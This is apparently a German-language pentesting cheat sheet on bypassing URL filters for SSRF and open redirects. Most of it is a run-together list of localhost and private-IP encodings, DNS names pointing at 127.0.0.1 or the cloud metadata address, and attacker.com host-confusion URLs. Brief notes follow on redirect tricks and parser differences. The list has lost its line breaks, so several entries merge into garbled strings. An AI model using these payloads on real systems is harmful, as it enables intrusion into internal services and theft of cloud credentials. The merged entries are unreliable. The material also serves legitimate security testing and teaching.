# Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://127.000000000000000.1http://0http:@0/-->http://localhost/http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/SMTPhttp://[::]:3128/Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪# CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0# Dot bypass127。0。0。1127%E3%80%820%E3%80%820%E3%80%821# Decimal bypasshttp://2130706433/=http://127.0.0.1http://3232235521/=http://192.168.0.1http://3232235777/=http://192.168.1.1# Octal Bypasshttp://0177.0000.0000.0001http://00000177.00000000.00000000.00000001http://017700000001# Hexadecimal bypass127.0.0.1=0x7f000001http://0x7f000001/=http://127.0.0.1http://0xc0a80014/=http://192.168.0.200x7f.0x00.0x00.0x010x0000007f.0x00000000.0x00000000.0x00000001# Mixed encodings bypass169.254.43518 -> PartialDecimal (Class B) format combines the third and fourth parts of the IP address into a decimal number0xA9.254.0251.0376 -> hexadecimal,decimalandoctal# Add 0s bypass127.000000000000.1# You can also mix different encoding formats# https://www.silisoftware.com/tools/ipconverter.php# Malformed and rarelocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# DNS to localhostlocaltest.me=127.0.0.1customer1.app.localhost.my.company.127.0.0.1.nip.io=127.0.0.1mail.ebc.apple.com=127.0.0.6 (localhost)127.0.0.1.nip.io=127.0.0.1 (Resolves tothegivenIP)www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us=Resolvestowww.google.comhttp://customer1.app.localhost.my.company.127.0.0.1.nip.iohttp://bugbounty.dod.network=127.0.0.2 (localhost)1ynrnhl.xip.io==169.254.169.254spoofed.burpcollaborator.net=127.0.0.1
Die Burp-ErweiterungBurp-Encode-IP implementiert IP-Formatumgehungen.
# Try also to change attacker.com for 127.0.0.1 to try to access localhost# Try replacing https by http# Try URL-encoded charactershttps://{domain}@attacker.comhttps://{domain}.attacker.comhttps://{domain}%6D@attacker.comhttps://attacker.com/{domain}https://attacker.com/?d={domain}https://attacker.com#{domain}https://attacker.com@{domain}https://attacker.com#@{domain}https://attacker.com%23@{domain}https://attacker.com%00{domain}https://attacker.com%0A{domain}https://attacker.com?{domain}https://attacker.com///{domain}https://attacker.com\{domain}/https://attacker.com;https://{domain}https://attacker.com\{domain}/https://attacker.com\.{domain}https://attacker.com/.{domain}https://attacker.com\@@{domain}https://attacker.com:\@@{domain}https://attacker.com#\@{domain}https://attacker.com\anything@{domain}/https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com# On each IP position try to put 1 attackers domain and the others the victim domainhttp://1.1.1.1&@2.2.2.2#@3.3.3.3/#Parameter pollutionnext={domain}&next=attacker.com
Paths and Extensions Bypass
Wenn erforderlich ist, dass die URL mit einem Pfad oder einer Erweiterung endet oder einen Pfad enthalten muss, können Sie einen der folgenden Umgehungen versuchen:
Das Tool recollapse kann Variationen aus einem gegebenen Input generieren, um den verwendeten Regex zu umgehen. Siehe auch diesen Beitrag für weitere Informationen.
Automatische benutzerdefinierte Wortlisten
Schau dir die URL-Validierungs-Bypass-Checkliste Webanwendung von Portswigger an, wo du den erlaubten Host und den Angreifer-Host eingeben kannst, und sie wird eine Liste von URLs generieren, die du ausprobieren kannst. Sie berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.
Es könnte möglich sein, dass der Server die ursprüngliche Anfrage eines SSRF filtert, aber nicht eine mögliche Umleitungs-Antwort auf diese Anfrage.
Zum Beispiel könnte ein Server, der anfällig für SSRF über: url=https://www.google.com/ ist, den url-Parameter filtern. Aber wenn du einen Python-Server verwendest, um mit einem 302 zu antworten an den Ort, an den du umleiten möchtest, könntest du in der Lage sein, gefilterte IP-Adressen wie 127.0.0.1 oder sogar gefilterte Protokolle wie gopher zu zugreifen.
Sieh dir diesen Bericht an.
Der backslash-trick nutzt einen Unterschied zwischen dem WHATWG URL Standard und RFC3986 aus. Während RFC3986 ein allgemeines Rahmenwerk für URIs ist, ist WHATWG spezifisch für Web-URLs und wird von modernen Browsern übernommen. Der entscheidende Unterschied liegt in der Anerkennung des Backslashes (\) im WHATWG-Standard als gleichwertig mit dem Schrägstrich (/), was die Art und Weise beeinflusst, wie URLs geparst werden, insbesondere den Übergang vom Hostnamen zum Pfad in einer URL markiert.
Linke eckige Klammer
Das Zeichen „linke eckige Klammer“ [ im Benutzerinfo-Segment kann dazu führen, dass Spring’s UriComponentsBuilder einen Hostnamenwert zurückgibt, der sich von dem der Browser unterscheidet: https://example.com[@attacker.com